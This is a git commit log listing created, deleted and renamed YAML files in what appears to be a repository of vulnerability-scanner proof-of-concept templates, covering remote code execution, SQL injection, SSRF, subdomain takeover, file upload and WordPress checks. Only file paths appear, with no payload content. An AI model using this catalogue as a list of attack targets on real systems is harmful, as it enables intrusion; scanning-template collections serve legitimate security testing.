poc/remote_code_execution/hashicorp-consul-rce-7891.yaml create mode 100644 poc/remote_code_execution/icewarp-webclient-rce-8133.yaml delete mode 100644 poc/remote_code_execution/jetbrains-datasources-8291.yaml create mode 100644 poc/remote_code_execution/jetbrains-datasources.yaml create mode 100644 poc/remote_code_execution/landray-oa-treexml-rce.yaml delete mode 100644 poc/remote_code_execution/metersphere-plugin-rce-8837.yaml create mode 100644 poc/remote_code_execution/metersphere-plugin-rce.yaml create mode 100644 poc/remote_code_execution/mobileiron-log4j-jndi-rce.yaml rename poc/remote_code_execution/{optilink-ont1gew-gpon-rce.yaml => optilink-ont1gew-gpon-rce-9342.yaml} (100%) delete mode 100644 poc/remote_code_execution/optilink-ont1gew-gpon-rce-9343.yaml delete mode 100644 poc/remote_code_execution/oscommerce-rce-9405.yaml create mode 100644 poc/remote_code_execution/oscommerce-rce-9408.yaml rename poc/remote_code_execution/{pdf-signer-ssti-to-rce-9470.yaml => pdf-signer-ssti-to-rce-9472.yaml} (100%) create mode 100644 poc/remote_code_execution/pgsql-extensions-rce.yaml rename poc/remote_code_execution/{phalcon-framework-source.yaml => phalcon-framework-source-9496.yaml} (100%) delete mode 100644 poc/remote_code_execution/php-zerodium-backdoor-rce-9569.yaml rename poc/remote_code_execution/{php-zerodium-backdoor-rce.yaml => php-zerodium-backdoor-rce-9570.yaml} (100%) delete mode 100644 poc/remote_code_execution/powercreator-cms-rce-9646.yaml rename poc/remote_code_execution/{qi-anxin-netkang-next-generation-firewall-rce.yaml => qi-anxin-netkang-next-generation-firewall-rce-9757.yaml} (100%) create mode 100644 poc/remote_code_execution/qi-anxin-netkang-next-generation-firewall-rce-9761.yaml delete mode 100644 poc/remote_code_execution/qvisdvr-deserialization-rce.yaml rename poc/remote_code_execution/{salesforce-aura-9984.yaml => salesforce-aura.yaml} (100%) delete mode 100644 poc/remote_code_execution/samsung-wlan-ap-rce-10008.yaml rename poc/remote_code_execution/{samsung-wlan-ap-rce.yaml => samsung-wlan-ap-rce-10009.yaml} (100%) delete mode 100644 poc/remote_code_execution/sangfor-ba-rce-10020.yaml delete mode 100644 poc/remote_code_execution/sar2html-rce-10080.yaml delete mode 100644 poc/remote_code_execution/sar2html-rce.yaml delete mode 100644 poc/remote_code_execution/seacms-rce-10100.yaml create mode 100644 poc/remote_code_execution/seacms-rce-10101.yaml delete mode 100644 poc/remote_code_execution/seowon-router-rce-10148.yaml delete mode 100644 poc/remote_code_execution/seowon-router-rce.yaml delete mode 100644 poc/remote_code_execution/showdoc-file-upload-rce-10225.yaml delete mode 100644 poc/remote_code_execution/simple-employee-rce-10279.yaml create mode 100644 poc/remote_code_execution/simple-employee-rce-10280.yaml rename poc/remote_code_execution/{spon-ip-rce.yaml => spon-ip-rce(1).yaml} (100%) create mode 100644 poc/remote_code_execution/spring-functions-rce.yaml create mode 100644 poc/remote_code_execution/springboot-h2-db-rce-10454.yaml delete mode 100644 poc/remote_code_execution/springboot-h2-db-rce-10458.yaml create mode 100644 poc/remote_code_execution/springboot-log4j-rce.yaml rename poc/remote_code_execution/{symfonyrce(1).yaml => symfonyrce.yaml} (100%) delete mode 100644 poc/remote_code_execution/thinkcmf-rce-10729.yaml create mode 100644 poc/remote_code_execution/thinkphp-2-rce-10738.yaml delete mode 100644 poc/remote_code_execution/thinkphp-5022-rce-10746.yaml delete mode 100644 poc/remote_code_execution/vmware-horizon-log4j-jndi-rce.yaml delete mode 100644 poc/remote_code_execution/voiprce.yaml delete mode 100644 poc/remote_code_execution/vrealize-operations-log4j-rce.yaml create mode 100644 poc/remote_code_execution/webpack-sourcemap.yaml create mode 100644 poc/remote_code_execution/webui-rce-11174.yaml create mode 100644 poc/remote_code_execution/woocommerce-multiple-customer-addresses-e58fd6fc55781d41aa60974eac75f757.yaml create mode 100644 poc/remote_code_execution/wordpress-rce-simplefilelist-11299.yaml create mode 100644 poc/remote_code_execution/wordpress-woocommerce-listing-11339.yaml delete mode 100644 poc/remote_code_execution/wordpress-woocommerce-listing-11341.yaml delete mode 100644 poc/remote_code_execution/wordpress-woocommerce-sqli-11343.yaml mode change 100755 => 100644 poc/remote_code_execution/wordpress-xmlrpc-brute-force.yaml create mode 100644 poc/remote_code_execution/workresources-rdp-11380.yaml delete mode 100644 poc/remote_code_execution/workresources-rdp-11382.yaml create mode 100644 poc/remote_code_execution/wp-woocommerce-email-verification-11617.yaml create mode 100644 poc/remote_code_execution/wp-xmlrpc-brute-force-11624.yaml create mode 100644 poc/remote_code_execution/yapi-rce-11726.yaml create mode 100644 poc/remote_code_execution/yapi-rce.yaml create mode 100644 poc/ruby/grails-database-admin-console-7819.yaml delete mode 100644 poc/ruby/grails-database-admin-console-7821.yaml delete mode 100644 poc/ruby/rails-database-config.yaml delete mode 100644 poc/ruby/rails-debug-mode-9806.yaml create mode 100644 poc/ruby/rails-debug-mode-9807.yaml delete mode 100644 poc/ruby/rails-secret-token-disclosure-9809.yaml create mode 100644 poc/ruby/rails-secret-token-disclosure-9810.yaml create mode 100644 poc/ruby/rails6-xss-9798.yaml create mode 100644 poc/ruby/ruby-on-rails-framework-exceptions.yaml create mode 100644 poc/samba/samba-config-9987.yaml create mode 100644 poc/samba/samba-detect-9989.yaml delete mode 100644 poc/samba/samba-detect-9990.yaml create mode 100644 poc/sap/sap-netweaver-detect-10044.yaml delete mode 100644 poc/sap/sap-netweaver-detect-10047.yaml create mode 100644 poc/sap/sap-netweaver-info-leak.yaml delete mode 100644 poc/sap/sap-netweaver-portal-10053.yaml create mode 100644 poc/sap/sap-netweaver-portal-10055.yaml delete mode 100644 poc/sap/sap-netweaver-webgui-10058.yaml create mode 100644 poc/sap/sap-netweaver-webgui-10059.yaml create mode 100644 poc/sap/sap-redirect-10064.yaml delete mode 100644 poc/sap/sap-redirect-10066.yaml create mode 100644 poc/sap/sap-web-dispatcher-10078.yaml delete mode 100644 poc/sap/sap-web-dispatcher-admin-portal-10071.yaml create mode 100644 poc/sap/sap-web-dispatcher-admin-portal.yaml rename poc/sap/{sap-web-dispatcher-10075.yaml => sap-web-dispatcher.yaml} (100%) delete mode 100644 poc/search/elasticsearch-7193.yaml create mode 100644 poc/search/elasticsearch-7194.yaml rename poc/search/{elasticsearch-sql-client-detect-7191.yaml => elasticsearch-sql-client-detect.yaml} (100%) delete mode 100644 poc/search/jolokia-mbean-search-8362.yaml create mode 100644 poc/search/meilisearch-detect.yaml delete mode 100644 poc/sensitive/sensitive-storage-exposure.yaml delete mode 100644 poc/sharepoint/exposed-sharepoint-list-7345.yaml delete mode 100644 poc/shopify/shopify-custom-token-10198.yaml rename poc/shopify/{shopify-custom-token(1).yaml => shopify-custom-token-11860.yaml} (100%) rename poc/shopify/{shopify-private-token-11861.yaml => shopify-private-token(1).yaml} (100%) rename poc/shopify/{shopify-takeover-10204.yaml => shopify-takeover-10201.yaml} (100%) rename poc/shopify/{shopify-token-11863.yaml => shopify-token(1).yaml} (100%) create mode 100644 poc/smtp/msmtp-config-8967.yaml create mode 100644 poc/social/api-facebook-422.yaml delete mode 100644 poc/social/api-facebook.yaml delete mode 100644 poc/social/linkedin-client-id.yaml create mode 100644 poc/social/sassy-social-share-10087.yaml create mode 100644 poc/social/social-rocket-c769c373bb9f1ffe92fbf49a67c167c6.yaml delete mode 100644 poc/sql/74cms-sqli-9.yaml create mode 100644 poc/sql/74cms-sqli.yaml create mode 100644 poc/sql/CVE-2024-35672-486db9c86df3e8118b4d673efcb7bc70.yaml create mode 100644 poc/sql/CVE-2024-3592-db8d56b4ffd71be1964e8f686279beb9.yaml create mode 100644 poc/sql/CVE-2024-3594-36d7fb83c790460bdb8c61a1e30649d8.yaml create mode 100644 poc/sql/CVE-2024-3644-9f7a970dbcd282a4ee231b0a1cc7dd4e.yaml create mode 100644 poc/sql/CVE-2024-3921-dbf397a500a6ba8db425a10054860f95.yaml create mode 100644 poc/sql/CVE-2024-4355-a903f9532766751cdbee9102a282b68d.yaml create mode 100644 poc/sql/CVE-2024-4442-bfd9fc2e11f82202e3317db7b1d6b9d3.yaml create mode 100644 poc/sql/SQLInjection_ERROR.yaml rename poc/sql/{adb-backup-enabled-63.yaml => adb-backup-enabled-60.yaml} (100%) create mode 100644 poc/sql/adbhoney-honeypot-cnxn-detect.yaml create mode 100644 poc/sql/adbhoney-honeypot-shell-detect.yaml rename poc/sql/{android-debug-database-exposed-316.yaml => android-debug-database-exposed-312.yaml} (100%) rename poc/sql/{chamilo-lms-sqli-892.yaml => chamilo-lms-sqli-891.yaml} (100%) create mode 100644 poc/sql/chamilo-lms-sqli.yaml delete mode 100644 poc/sql/couchdb-adminparty-1237.yaml create mode 100644 poc/sql/database-error.yaml delete mode 100644 poc/sql/db-backup-lfi-6775.yaml delete mode 100644 poc/sql/db-schema-6783.yaml delete mode 100644 poc/sql/dedecms-membergroup-sqli-6798.yaml create mode 100644 poc/sql/dionaea-mysql-honeypot-detect.yaml delete mode 100644 poc/sql/duomicms-sql-injection-7122.yaml delete mode 100644 poc/sql/duomicms-sql-injection.yaml create mode 100644 poc/sql/ecology-syncuserinfo-sqli.yaml create mode 100644 poc/sql/ecology-v8-sqli-7179.yaml delete mode 100644 poc/sql/ecology-v8-sqli.yaml rename poc/sql/{elasticsearch-sql-client-detect-7191.yaml => elasticsearch-sql-client-detect.yaml} (100%) create mode 100644 poc/sql/esafenet-mysql-fileread.yaml create mode 100644 poc/sql/essential-addons-elementor-91bbd8fd90235566c3af5b0e4d8dbe1b.yaml create mode 100644 poc/sql/etouch-v2-sqli.yaml create mode 100644 poc/sql/exposed-adb-7282.yaml create mode 100644 poc/sql/exposed-adb.yaml rename poc/sql/{exposed-mysql-initial.yaml => exposed-mysql-initial-7322.yaml} (100%) create mode 100644 poc/sql/exposed-sqlite-manager-7350.yaml create mode 100644 poc/sql/fileorganizer-d129dcd91671ee29c3cf5545f48db813.yaml delete mode 100644 poc/sql/finecms-sqli.yaml create mode 100644 poc/sql/glpi-9.3.3-sql-injection.yaml create mode 100644 poc/sql/grails-database-admin-console-7819.yaml delete mode 100644 poc/sql/grails-database-admin-console-7821.yaml delete mode 100644 poc/sql/header_sqli.yaml create mode 100644 poc/sql/hjsoft-eHR-system-sqli.yaml create mode 100644 poc/sql/huatian-oa-sqli.yaml create mode 100644 poc/sql/iam-db-auth.yaml create mode 100644 poc/sql/ibm-d2b-database-server.yaml rename poc/sql/{jdbc-connection-string-8244.yaml => jdbc-connection-string.yaml} (100%) create mode 100644 poc/sql/kevinlab-bems-sqli-8457.yaml create mode 100644 poc/sql/mongodb-detect-8920.yaml create mode 100644 poc/sql/mongodb-detect.yaml create mode 100644 poc/sql/mongodb-info-enum.yaml create mode 100644 poc/sql/mongodb-ops-manager-8924.yaml delete mode 100644 poc/sql/mongodb-unauth-8926.yaml create mode 100644 poc/sql/mongodb-unauth.yaml create mode 100644 poc/sql/mysql-default-login.yaml create mode 100644 poc/sql/mysql-detect.yaml create mode 100644 poc/sql/mysql-info.yaml delete mode 100644 poc/sql/mysql-native-password-8980.yaml create mode 100644 poc/sql/nocodb-panel.yaml create mode 100644 poc/sql/odoo-database-manager-9202.yaml delete mode 100644 poc/sql/odoo-database-manager-9204.yaml create mode 100644 poc/sql/oracle-dbass-detect.yaml create mode 100644 poc/sql/oracle-ebs-sqllog-disclosure-9371.yaml delete mode 100644 poc/sql/pbootcms-database-file-download-9469.yaml create mode 100644 poc/sql/pgsql-default-db.yaml create mode 100644 poc/sql/pgsql-empty-password.yaml create mode 100644 poc/sql/pgsql-extensions-rce.yaml create mode 100644 poc/sql/pgsql-file-read.yaml create mode 100644 poc/sql/pgsql-list-database.yaml create mode 100644 poc/sql/pgsql-list-password-hashes.yaml create mode 100644 poc/sql/pgsql-list-users.yaml create mode 100644 poc/sql/pgsql-version-detect.yaml delete mode 100644 poc/sql/pikpikcusqli.yaml create mode 100644 poc/sql/privesc-sqlite3.yaml create mode 100644 poc/sql/psql-user-enum.yaml delete mode 100644 poc/sql/puppetdb-detect-9717.yaml create mode 100644 poc/sql/python-app-sql-exceptions-9744.yaml delete mode 100644 poc/sql/python-app-sql-exceptions.yaml delete mode 100644 poc/sql/rails-database-config.yaml delete mode 100644 poc/sql/sequoiadb-default-login.yaml create mode 100644 poc/sql/simple-ajax-chat-0a7e4415bfddb98c365d97e5f2440d1c.yaml create mode 100644 poc/sql/simple-crm-sql-injection.yaml create mode 100644 poc/sql/site-reviews-ae788988dbe1b0277cdaf8b92699ca4f.yaml create mode 100644 poc/sql/springboot-h2-db-rce-10454.yaml delete mode 100644 poc/sql/springboot-h2-db-rce-10458.yaml delete mode 100644 poc/sql/sql-dump-10496.yaml delete mode 100644 poc/sql/sql-server-reporting-10509.yaml create mode 100644 poc/sql/sqli.yaml create mode 100644 poc/sql/sqli_header (copy 1).yaml create mode 100644 poc/sql/sqli_header-10504.yaml create mode 100644 poc/sql/suspicious-sql-error-messages-10585.yaml delete mode 100644 poc/sql/tidb-unauth-10770.yaml create mode 100644 poc/sql/tidb-unauth.yaml delete mode 100644 poc/sql/ucmdb-default-login.yaml create mode 100644 poc/sql/unauth-psql.yaml delete mode 100644 poc/sql/wordpress-db-repair-11252.yaml create mode 100644 poc/sql/wordpress-tmm-db-migrate-11320.yaml rename poc/sql/{wordpress-tmm-db-migrate-11319.yaml => wordpress-tmm-db-migrate.yaml} (100%) delete mode 100644 poc/sql/wordpress-woocommerce-sqli-11343.yaml rename poc/sql/{wuzhicms-sqli-11656.yaml => wuzhicms-sqli.yaml} (100%) delete mode 100644 poc/sql/yonyou-u8-oa-sqli.yaml create mode 100644 poc/sql/zcms-v3-sqli.yaml delete mode 100644 poc/sql_injection/74cms-sqli-9.yaml create mode 100644 poc/sql_injection/74cms-sqli.yaml create mode 100644 poc/sql_injection/SQLInjection_ERROR.yaml rename poc/sql_injection/{chamilo-lms-sqli-892.yaml => chamilo-lms-sqli-891.yaml} (100%) create mode 100644 poc/sql_injection/chamilo-lms-sqli.yaml delete mode 100644 poc/sql_injection/dedecms-membergroup-sqli-6798.yaml create mode 100644 poc/sql_injection/ecology-syncuserinfo-sqli.yaml create mode 100644 poc/sql_injection/ecology-v8-sqli-7179.yaml delete mode 100644 poc/sql_injection/ecology-v8-sqli.yaml create mode 100644 poc/sql_injection/etouch-v2-sqli.yaml create mode 100644 poc/sql_injection/exposed-sqlite-manager-7350.yaml delete mode 100644 poc/sql_injection/finecms-sqli.yaml delete mode 100644 poc/sql_injection/header_sqli.yaml create mode 100644 poc/sql_injection/hjsoft-eHR-system-sqli.yaml create mode 100644 poc/sql_injection/huatian-oa-sqli.yaml create mode 100644 poc/sql_injection/kevinlab-bems-sqli-8457.yaml create mode 100644 poc/sql_injection/privesc-sqlite3.yaml create mode 100644 poc/sql_injection/sqli_header (copy 1).yaml create mode 100644 poc/sql_injection/sqli_header-10504.yaml delete mode 100644 poc/sql_injection/wordpress-woocommerce-sqli-11343.yaml rename poc/sql_injection/{wuzhicms-sqli-11656.yaml => wuzhicms-sqli.yaml} (100%) delete mode 100644 poc/sql_injection/yonyou-u8-oa-sqli.yaml create mode 100644 poc/sql_injection/zcms-v3-sqli.yaml create mode 100644 poc/ssh/bitvise-ssh-detect.yaml create mode 100644 poc/ssh/cowrie-ssh-honeypot-detect.yaml create mode 100644 poc/ssh/iam-ssh-keys-rotation.yaml create mode 100644 poc/ssh/openssh-detect.yaml create mode 100644 poc/ssh/sshd-dropbear-detect.yaml rename poc/ssrf/{confluence-ssrf-sharelinks-1190.yaml => confluence-ssrf-sharelinks-1193.yaml} (100%) delete mode 100644 poc/ssrf/confluence-ssrf-sharelinks.yaml delete mode 100644 poc/ssrf/ibm-websphere-ssrf-8126.yaml delete mode 100644 poc/ssrf/microstrategy-ssrf-8861.yaml create mode 100644 poc/ssrf/umbraco-base-ssrf.yaml rename poc/ssrf/{w3c-total-cache-ssrf-11078.yaml => w3c-total-cache-ssrf-11080.yaml} (100%) delete mode 100644 poc/ssrf/wp-multiple-theme-ssrf-11508.yaml delete mode 100644 poc/ssrf/xmlrpc-pingback-ssrf-11688.yaml create mode 100644 poc/ssrf/xmlrpc-pingback-ssrf-11689.yaml delete mode 100644 poc/ssrf/zimbra-preauth-ssrf-11811.yaml delete mode 100644 poc/subdomain_takeover/aftership-takeover.yaml rename poc/subdomain_takeover/{agilecrm-takeover-209.yaml => agilecrm-takeover.yaml} (100%) create mode 100644 poc/subdomain_takeover/announcekit-takeover-321.yaml create mode 100644 poc/subdomain_takeover/aws-bucket-takeover-630.yaml delete mode 100644 poc/subdomain_takeover/aws-bucket-takeover-632.yaml create mode 100644 poc/subdomain_takeover/azure-takeover-detection-681.yaml rename poc/subdomain_takeover/{bigcartel-takeover-727.yaml => bigcartel-takeover-728.yaml} (100%) delete mode 100644 poc/subdomain_takeover/brightcove-takeover-783.yaml create mode 100644 poc/subdomain_takeover/brightcove-takeover-784.yaml delete mode 100644 poc/subdomain_takeover/brightcove-takeover-785.yaml rename poc/subdomain_takeover/{canny-takeover-856.yaml => canny-takeover-854.yaml} (100%) delete mode 100644 poc/subdomain_takeover/cargo-takeover-866.yaml create mode 100644 poc/subdomain_takeover/cargo-takeover-867.yaml create mode 100644 poc/subdomain_takeover/cargocollective-takeover-863.yaml delete mode 100644 poc/subdomain_takeover/cargocollective-takeover-865.yaml create mode 100644 poc/subdomain_takeover/feedpress-takeover-7456.yaml rename poc/subdomain_takeover/{feedpress-takeover-7457.yaml => feedpress-takeover-7458.yaml} (100%) delete mode 100644 poc/subdomain_takeover/flexbe-takeover-7505.yaml delete mode 100644 poc/subdomain_takeover/frontify-takeover-7544.yaml create mode 100644 poc/subdomain_takeover/ghost-takeover-7622.yaml create mode 100644 poc/subdomain_takeover/github-takeover-7659.yaml delete mode 100644 poc/subdomain_takeover/github-takeover-7663.yaml create mode 100644 poc/subdomain_takeover/hatenablog-takeover-7910.yaml delete mode 100644 poc/subdomain_takeover/helpjuice-takeover-7925.yaml create mode 100644 poc/subdomain_takeover/helpjuice-takeover-7928.yaml create mode 100644 poc/subdomain_takeover/helprace-takeover-7929.yaml delete mode 100644 poc/subdomain_takeover/helprace-takeover-7932.yaml create mode 100644 poc/subdomain_takeover/helpscout-takeover-7936.yaml delete mode 100644 poc/subdomain_takeover/heroku-takeover-7943.yaml create mode 100644 poc/subdomain_takeover/hubspot-takeover-8077.yaml delete mode 100644 poc/subdomain_takeover/hubspot-takeover-8079.yaml delete mode 100644 poc/subdomain_takeover/intercom-takeover-8166.yaml rename poc/subdomain_takeover/{jazzhr-takeover-8233.yaml => jazzhr-takeover-8235.yaml} (100%) delete mode 100644 poc/subdomain_takeover/jetbrains-takeover-8292.yaml create mode 100644 poc/subdomain_takeover/jetbrains-takeover-8293.yaml delete mode 100644 poc/subdomain_takeover/kinsta-takeover-8493.yaml delete mode 100644 poc/subdomain_takeover/kinsta-takeover-8495.yaml create mode 100644 poc/subdomain_takeover/launchrock-takeover-8603.yaml rename poc/subdomain_takeover/{launchrock-takeover-8602.yaml => launchrock-takeover-8605.yaml} (100%) create mode 100644 poc/subdomain_takeover/mashery-takeover-8783.yaml delete mode 100644 poc/subdomain_takeover/mashery-takeover-8785.yaml create mode 100644 poc/subdomain_takeover/medium-takeover-8797.yaml delete mode 100644 poc/subdomain_takeover/medium-takeover-8798.yaml delete mode 100644 poc/subdomain_takeover/netlify-takeover-9043.yaml rename poc/subdomain_takeover/{ngrok-takeover-9128.yaml => ngrok-takeover-9126.yaml} (100%) delete mode 100644 poc/subdomain_takeover/pantheon-takeover-9458.yaml create mode 100644 poc/subdomain_takeover/pantheon-takeover-9459.yaml create mode 100644 poc/subdomain_takeover/pingdom-takeover-9585.yaml create mode 100644 poc/subdomain_takeover/readme-takeover-9843.yaml delete mode 100644 poc/subdomain_takeover/readthedocs-takeover-9845.yaml delete mode 100644 poc/subdomain_takeover/s3-subtakeover-9969.yaml rename poc/subdomain_takeover/{shopify-takeover-10204.yaml => shopify-takeover-10201.yaml} (100%) create mode 100644 poc/subdomain_takeover/simplebooklet-takeover-10271.yaml create mode 100644 poc/subdomain_takeover/smartjob-takeover-10325.yaml create mode 100644 poc/subdomain_takeover/smugmug-takeover-10337.yaml rename poc/subdomain_takeover/{sprintful-takeover-10495.yaml => sprintful-takeover-10494.yaml} (100%) delete mode 100644 poc/subdomain_takeover/tave-takeover-10659.yaml create mode 100644 poc/subdomain_takeover/tave-takeover-10662.yaml create mode 100644 poc/subdomain_takeover/teamwork-takeover-10668.yaml delete mode 100644 poc/subdomain_takeover/teamwork-takeover-10670.yaml create mode 100644 poc/subdomain_takeover/tictail-takeover-10766.yaml delete mode 100644 poc/subdomain_takeover/tictail-takeover-10768.yaml create mode 100644 poc/subdomain_takeover/tictail-takeover-10769.yaml delete mode 100644 poc/subdomain_takeover/tilda-takeover-10781.yaml create mode 100644 poc/subdomain_takeover/tilda-takeover-10783.yaml delete mode 100644 poc/subdomain_takeover/tumblr-takeover-10845.yaml create mode 100644 poc/subdomain_takeover/tumblr-takeover-10846.yaml rename poc/subdomain_takeover/{uberflip-takeover-10866.yaml => uberflip-takeover-10864.yaml} (100%) create mode 100644 poc/subdomain_takeover/uptimerobot-takeover-10987.yaml delete mode 100644 poc/subdomain_takeover/uptimerobot-takeover-10989.yaml create mode 100644 poc/subdomain_takeover/urge-takeover-10991.yaml delete mode 100644 poc/subdomain_takeover/vend-takeover-10998.yaml create mode 100644 poc/subdomain_takeover/vend-takeover-10999.yaml delete mode 100644 poc/subdomain_takeover/webflow-takeover-11132.yaml create mode 100644 poc/subdomain_takeover/webflow-takeover-11133.yaml create mode 100644 poc/subdomain_takeover/wishpond-takeover-11216.yaml delete mode 100644 poc/subdomain_takeover/wishpond-takeover-11217.yaml delete mode 100644 poc/subdomain_takeover/wix-takeover-11220.yaml create mode 100644 poc/subdomain_takeover/wordpress-takeover-11310.yaml delete mode 100644 poc/subdomain_takeover/wordpress-takeover-11313.yaml create mode 100644 poc/subdomain_takeover/worksites-takeover-11387.yaml delete mode 100644 poc/subdomain_takeover/worksites-takeover-11388.yaml create mode 100644 poc/subdomain_takeover/wufoo-takeover-11648.yaml delete mode 100644 poc/subdomain_takeover/wufoo-takeover-11649.yaml create mode 100644 poc/subdomain_takeover/zendesk-takeover-11780.yaml delete mode 100644 poc/subdomain_takeover/zendesk-takeover-11782.yaml rename poc/template_injection/{pdf-signer-ssti-to-rce-9470.yaml => pdf-signer-ssti-to-rce-9472.yaml} (100%) delete mode 100644 poc/template_injection/pikpikcussti.yaml create mode 100644 poc/template_injection/ssti.yaml delete mode 100644 poc/template_injection/twig-php-ssti-10856.yaml delete mode 100644 "poc/upload/E-office \344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240-mobile_upload_save\357\274\210CVE-2023-2523\357\274\211.yaml" create mode 100644 poc/upload/exposed-jquery-file-upload-7313.yaml create mode 100644 poc/upload/exposed-jquery-file-upload.yaml create mode 100644 poc/upload/luftguitar-arbitrary-file-upload-8672.yaml delete mode 100644 poc/upload/luftguitar-arbitrary-file-upload.yaml delete mode 100644 poc/upload/oa-v9-uploads-file-9190.yaml rename poc/upload/{oa-v9-uploads-file-9189.yaml => oa-v9-uploads-file.yaml} (100%) create mode 100644 poc/upload/prestashop-blocktestimonial-file-upload.yaml create mode 100644 poc/upload/prestashop-cartabandonmentpro-file-upload.yaml rename poc/upload/{qihang-media-upload_all.yaml => qihang-media-upload.yaml} (100%) delete mode 100644 poc/upload/showdoc-file-upload-rce-10225.yaml create mode 100644 poc/upload/uploadcare.yaml create mode 100644 poc/upload/wp-upload-data-11605.yaml rename poc/upload/{wordpress-upload-data.yaml => wp-upload-data.yaml} (100%) delete mode 100644 poc/upload/zhiyuan-file-upload-11791.yaml create mode 100644 poc/upload/zhiyuan-file-upload-11796.yaml create mode 100644 poc/vmware/vmware-authentication-daemon-detect.yaml delete mode 100644 poc/vmware/vmware-horizon-log4j-jndi-rce.yaml delete mode 100644 poc/vmware/vmware-vcenter-lfi-linux-11044.yaml create mode 100644 poc/web/abyss-web-server.yaml create mode 100644 poc/web/aix-websm-detect.yaml rename poc/web/{artica-web-proxy-detect-543.yaml => artica-web-proxy-detect-545.yaml} (100%) delete mode 100644 poc/web/artica-web-proxy-detect.yaml create mode 100644 poc/web/axigen-webmail.yaml create mode 100644 poc/web/azkaban-web-client-676.yaml delete mode 100644 poc/web/azkaban-web-client-680.yaml delete mode 100644 poc/web/dixell-xweb500-filewrite.yaml create mode 100644 poc/web/dynamicweb-panel-7144.yaml delete mode 100644 poc/web/epson-web-control-detect.yaml delete mode 100644 poc/web/exposed-webalizer-7358.yaml create mode 100644 poc/web/exposed-webalizer-7360.yaml create mode 100644 poc/web/geovision-geowebserver-lfi.yaml delete mode 100644 poc/web/ibm-websphere-ssrf-8126.yaml create mode 100644 poc/web/icewarp-webclient-rce-8133.yaml delete mode 100644 poc/web/icinga-web-login-8136.yaml rename poc/web/{iplanet-web-server-8191.yaml => iplanet-web-server-8190.yaml} (100%) delete mode 100644 poc/web/iplanet-web-server.yaml mode change 100755 => 100644 poc/web/jboss-web-console.yaml delete mode 100644 poc/web/microweber-detect-8863.yaml create mode 100644 poc/web/microweber-detect.yaml create mode 100644 poc/web/opennms-web-console-9285.yaml delete mode 100644 poc/web/opennms-web-console-9287.yaml create mode 100644 poc/web/openwebui-panel.yaml create mode 100644 poc/web/oracle-iplanet-web-server-9393.yaml rename poc/web/{oracle-iplanet-web-server-9392.yaml => oracle-iplanet-web-server.yaml} (100%) rename poc/web/{saia-web-server-info-9979.yaml => saia-web-server-info-9980.yaml} (100%) create mode 100644 poc/web/saia-web-server-info.yaml delete mode 100644 poc/web/sap-netweaver-webgui-10058.yaml create mode 100644 poc/web/sap-netweaver-webgui-10059.yaml create mode 100644 poc/web/sap-web-dispatcher-10078.yaml delete mode 100644 poc/web/sap-web-dispatcher-admin-portal-10071.yaml create mode 100644 poc/web/sap-web-dispatcher-admin-portal.yaml rename poc/web/{sap-web-dispatcher-10075.yaml => sap-web-dispatcher.yaml} (100%) delete mode 100644 poc/web/synology-web-station.yaml delete mode 100644 poc/web/total-web-10814.yaml create mode 100644 poc/web/total-web-10816.yaml delete mode 100644 poc/web/web-ftp-detect-11136.yaml create mode 100644 poc/web/webcamxp-5-11122.yaml delete mode 100644 poc/web/webcamxp-5.yaml create mode 100644 poc/web/webeditors-11129.yaml delete mode 100644 poc/web/webflow-takeover-11132.yaml create mode 100644 poc/web/webflow-takeover-11133.yaml create mode 100644 poc/web/weblogic-detect-11143.yaml rename poc/web/{weblogic-t3-detect-11151.yaml => weblogic-t3-detect-11153.yaml} (100%) create mode 100644 poc/web/webmodule-ee-panel-11161.yaml create mode 100644 poc/web/webpack-sourcemap.yaml create mode 100644 poc/web/webui-rce-11174.yaml create mode 100644 poc/web/webview-universal-access-11183.yaml delete mode 100644 poc/web/webview-universal-access-11184.yaml delete mode 100644 poc/web/zoho-webhook-token-11835.yaml create mode 100644 poc/web/zoho-webhook-token.yaml create mode 100644 poc/wordpress/nativechurch-wp-theme-lfd-9003.yaml delete mode 100644 poc/wordpress/trilithic-viewpoint-login.yaml create mode 100644 poc/wordpress/viewpoint-system-status-11018.yaml delete mode 100644 poc/wordpress/wordpress-accessible-wpconfig-11235.yaml delete mode 100644 poc/wordpress/wordpress-affiliatewp-log-11242.yaml create mode 100644 poc/wordpress/wordpress-affiliatewp-log-11243.yaml create mode 100644 poc/wordpress/wordpress-bbpress-plugin-listing.yaml delete mode 100644 poc/wordpress/wordpress-db-repair-11252.yaml create mode 100644 poc/wordpress/wordpress-debug-log-11256.yaml delete mode 100644 poc/wordpress/wordpress-debug-log-11259.yaml rename poc/wordpress/{wordpress-elementor-plugin-listing.yaml => wordpress-elementor-plugin-listing-11269.yaml} (100%) create mode 100644 poc/wordpress/wordpress-emergency-script-11275.yaml delete mode 100644 poc/wordpress/wordpress-emergency-script-11277.yaml delete mode 100644 poc/wordpress/wordpress-gotmls-detect-11280.yaml create mode 100644 poc/wordpress/wordpress-gtranslate-plugin-listing-11284.yaml create mode 100644 poc/wordpress/wordpress-lfi.yaml create mode 100644 poc/wordpress/wordpress-rce-simplefilelist-11299.yaml create mode 100644 poc/wordpress/wordpress-readme-file.yaml rename poc/wordpress/{wordpress-redirection-plugin-listing.yaml => wordpress-redirection-plugin-listing-11306.yaml} (100%) create mode 100644 poc/wordpress/wordpress-takeover-11310.yaml delete mode 100644 poc/wordpress/wordpress-takeover-11313.yaml create mode 100644 poc/wordpress/wordpress-tmm-db-migrate-11320.yaml rename poc/wordpress/{wordpress-tmm-db-migrate-11319.yaml => wordpress-tmm-db-migrate.yaml} (100%) create mode 100644 poc/wordpress/wordpress-user-enum-11333.yaml delete mode 100644 poc/wordpress/wordpress-user-enumeration-11329.yaml create mode 100644 poc/wordpress/wordpress-woocommerce-listing-11339.yaml delete mode 100644 poc/wordpress/wordpress-woocommerce-listing-11341.yaml delete mode 100644 poc/wordpress/wordpress-woocommerce-sqli-11343.yaml delete mode 100644 poc/wordpress/wordpress-wordfence-lfi-11349.yaml delete mode 100644 poc/wordpress/wordpress-workflow.yaml delete mode 100644 poc/wordpress/wordpress-wpcourses-info-disclosure-11371.yaml mode change 100755 => 100644 poc/wordpress/wordpress-xmlrpc-brute-force.yaml delete mode 100644 poc/wordpress/wordpress.yaml create mode 100644 poc/wordpress/wp-123contactform-plugin-listing.yaml create mode 100644 poc/wordpress/wp-app-log-11412.yaml delete mode 100644 poc/wordpress/wp-app-log-11413.yaml delete mode 100644 poc/wordpress/wp-arforms-listing-11415.yaml rename poc/wordpress/{wp-arforms-listing.yaml => wp-arforms-listing-11418.yaml} (100%) create mode 100644 poc/wordpress/wp-back-button.yaml create mode 100644 